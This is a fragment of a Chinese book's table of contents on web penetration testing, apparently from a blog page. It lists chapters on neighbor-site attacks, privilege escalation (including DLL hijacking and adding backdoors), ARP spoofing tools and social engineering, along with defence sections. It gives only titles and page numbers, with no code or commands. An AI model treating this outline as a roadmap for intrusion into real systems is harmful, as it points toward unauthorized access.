旁注攻击 279 13.1 服务器端Web架构 279 13.2 IP逆向查询 280 13.3 SQL跨库查询 282 13.4 目录越权 283 13.5 构造注入点 284 13.6 CDN 286 13.7 小结 288 第14章 提权 290 14.1 溢出提权 290 14.2 第三方组件提权 294 14.2.1 信息搜集 294 14.2.2 数据库提权 296 14.2.3 FTP提权 302 14.2.4 PcAnywhere提权 312 14.3 虚拟主机提权 314 14.4 提权辅助 315 14.4.1 3389端口 315 14.4.2 端口转发 318 14.4.3 启动项提权 320 14.4.4 DLL劫持 321 14.4.5 添加后门 322 14.5 服务器防提权措施 324 14.6 小结 325 第15章 ARP欺骗攻击 326 15.1 ARP协议简介 326 15.1.1 ARP缓存表 326 15.1.2 局域网主机通信 327 15.1.3 ARP欺骗原理 328 15.2 ARP攻击 329 15.2.1 Cain 329 15.2.2 Ettercap 332 15.2.3 NetFuke 336 15.3 防御ARP攻击 339 15.4 小结 340 第16章 社会工程学 341 16.1 信息搜集 341 16.2 沟通 343 16.3 伪造 344 16.4 小结 345
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值